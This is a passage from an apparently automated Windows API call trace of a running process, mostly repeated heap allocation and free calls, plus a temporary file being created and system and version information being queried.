0x6b0f68 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10a0 | out: hHeap=0x630000) returned 1 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x98) returned 0x649458 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f68 | out: hHeap=0x630000) returned 1 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x99) returned 0x649458 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1028 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x9a) returned 0x649458 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f98 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1028 | out: hHeap=0x630000) returned 1 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x9b) returned 0x649458 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ff8 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f98 | out: hHeap=0x630000) returned 1 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x9c) returned 0x649458 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ff8 | out: hHeap=0x630000) returned 1 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x9d) returned 0x649458 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.246] GetProcessHeap () returned 0x630000 [0068.246] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x9e) returned 0x649458 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0x9f) returned 0x649458 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0xa0) returned 0x649458 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0xa1) returned 0x649458 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0xa2) returned 0x649458 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0xa3) returned 0x649458 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1058 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0xa4) returned 0x649458 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ff8 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0068.247] GetProcessHeap () returned 0x630000 [0068.247] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0xa5) returned 0x649458 [0068.248] GetProcessHeap () returned 0x630000 [0068.248] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.248] GetProcessHeap () returned 0x630000 [0068.248] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ff8 | out: hHeap=0x630000) returned 1 [0068.248] GetProcessHeap () returned 0x630000 [0068.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0xa6) returned 0x649458 [0068.248] GetProcessHeap () returned 0x630000 [0068.248] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.248] GetProcessHeap () returned 0x630000 [0068.248] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.248] GetProcessHeap () returned 0x630000 [0068.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0xa7) returned 0x649458 [0068.248] GetProcessHeap () returned 0x630000 [0068.248] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.248] GetProcessHeap () returned 0x630000 [0068.248] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.248] GetProcessHeap () returned 0x630000 [0068.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0xa8) returned 0x649458 [0068.248] GetProcessHeap () returned 0x630000 [0068.248] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0068.248] GetProcessHeap () returned 0x630000 [0068.248] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.248] GetProcessHeap () returned 0x630000 [0068.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649458, Size=0xa9) returned 0x685f30 [0068.248] GetProcessHeap () returned 0x630000 [0068.248] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fc8 [0068.248] GetProcessHeap () returned 0x630000 [0068.248] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0068.248] GetProcessHeap () returned 0x630000 [0068.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaa) returned 0x685f30 [0068.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xab) returned 0x685f30 [0068.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xac) returned 0x685f30 [0068.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xad) returned 0x685f30 [0068.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xae) returned 0x685f30 [0068.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xaf) returned 0x685f30 [0068.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb0) returned 0x685f30 [0068.249] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb1) returned 0x685f30 [0068.249] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb2) returned 0x685f30 [0068.249] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb3) returned 0x685f30 [0068.249] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb4) returned 0x685f30 [0068.249] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb5) returned 0x685f30 [0068.249] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x685f30, Size=0xb6) returned 0x685f30 [0068.249] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x6585e0, cbMultiByte=45, lpWideCharStr=0x6ebeb98, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\1998248312") returned 45 [0068.249] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\1998248312", lpFindFileData=0x6ebf954 | out: lpFindFileData=0x6ebf954*(dwFileAttributes=0x683ee8, ftCreationTime.dwLowDateTime=0x630000, ftCreationTime.dwHighDateTime=0x218, ftLastAccessTime.dwLowDateTime=0x683ee0, ftLastAccessTime.dwHighDateTime=0x6ebf930, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x8, nFileSizeHigh=0x0, nFileSizeLow=0x82ece75d, dwReserved0=0xffffff00, dwReserved1=0x7489d831, cFileName="훺璉ּ", cAlternateFileName="⹷@\x03")) returned 0xffffffff [0068.250] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\1998248312" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\1998248312"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0068.250] CloseHandle (hObject=0x5bc) returned 1 [0068.251] GetProcessHeap () returned 0x630000 [0068.251] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x36) returned 0x6588d8 [0068.251] GetProcessHeap () returned 0x630000 [0068.251] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6588d8, Size=0x2f) returned 0x66c728 [0068.251] GetProcessHeap () returned 0x630000 [0068.251] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c728, Size=0x39) returned 0x69b6d8 [0068.251] GetProcessHeap () returned 0x630000 [0068.251] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64a8d0 | out: hHeap=0x630000) returned 1 [0068.251] GetNativeSystemInfo (in: lpSystemInfo=0x6ebfb80 | out: lpSystemInfo=0x6ebfb80*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0068.251] GetProcessHeap () returned 0x630000 [0068.251] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1100 [0068.251] GetProcessHeap () returned 0x630000 [0068.251] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6b0f50 [0068.251] GetVersionExA (in: lpVersionInformation=0x6ebfb08*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x6ebfb08*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0068.251] GetProcessHeap () returned 0x630000 [0068.251] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12) returned 0x6b0038 [0068.251] GetProcessHeap () returned 0x630000 [0068.251] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.251] GetProcessHeap () returned 0x630000 [0068.251] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x168) returned 0x682bb0 [0068.251] GetProcessHeap () returned 0x630000 [0068.251] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.251] GetProcessHeap () returned 0x630000 [0068.251] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1010 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ea8 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fe0 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1028 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0ea8, Size=0xd) returned 0x6b10b8 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1028 | out: hHeap=0x630000) returned 1 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1070 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f68 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f98 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1070 | out: hHeap=0x630000) returned 1 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f68 | out: hHeap=0x630000) returned 1 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b10b8, Size=0xf) returned 0x6b10d0 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f98 | out: hHeap=0x630000) returned 1 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1058 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.252] GetProcessHeap () returned 0x630000 [0068.252] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b10d0, Size=0x11) returned 0x6b0058 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10d0 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1070 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10d0 | out: hHeap=0x630000) returned 1 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0058, Size=0x13) returned 0x6b03b8 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1070 | out: hHeap=0x630000) returned 1 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10a0 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1028 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10a0 | out: hHeap=0x630000) returned 1 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b03b8, Size=0x15) returned 0x6b0058 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1028 | out: hHeap=0x630000) returned 1 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0ef0 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.253] GetProcessHeap () returned 0x630000 [0068.253] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0058, Size=0x17) returned 0x6b0378 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ef0 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fe0 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f50 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0378, Size=0x19) returned 0x693c20 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fe0 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0e90 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693c20, Size=0x1b) returned 0x693ce8 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ef0 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0f68 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0068.254] GetProcessHeap () returned 0x630000 [0068.254] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.254] GetProcessHeap () returned 0x630000 [0068.255] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693ce8, Size=0x1d) returned 0x693ab8 [0068.255] GetProcessHeap () returned 0x630000 [0068.255] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f68 | out: hHeap=0x630000) returned 1 [0068.255] GetProcessHeap () returned 0x630000 [0068.255] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0068.255] GetProcessHeap () returned 0x630000 [0068.255] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.255] GetProcessHeap () returned 0x630000 [0068.255] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0e90 [0068.255] GetProcessHeap () returned 0x630000 [0068.255] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.255] GetProcessHeap () returned 0x630000 [0068.255] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.255] GetProcessHeap () returned 0x630000 [0068.255] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693ab8, Size=0x1f) returned 0x693c20 [0068.255] GetProcessHeap () returned 0x630000 [0068.255] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.255] GetProcessHeap () returned 0x630000 [0068.255] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1010 [0068.255] GetProcessHeap () returned 0x630000 [0068.255] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1088 [0068.255] GetProcessHeap () returned 0x630000 [0068.255] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0e90 [0068.255] GetProcessHeap () returned 0x630000 [0068.255] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.255] GetProcessHeap () returned 0x630000 [0068.255] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0068.255] GetProcessHeap () returned 0x630000 [0068.255] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693c20, Size=0x21) returned 0x699858 [0068.255] GetProcessHeap () returned 0x630000 [0068.255] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.255] GetProcessHeap () returned 0x630000 [0068.256] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ef0 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fe0 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b0e90 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699858, Size=0x23) returned 0x699be8 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0e90 | out: hHeap=0x630000) returned 1 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10b8 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0e90 [0068.256] GetProcessHeap () returned 0x630000 [0068.256] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 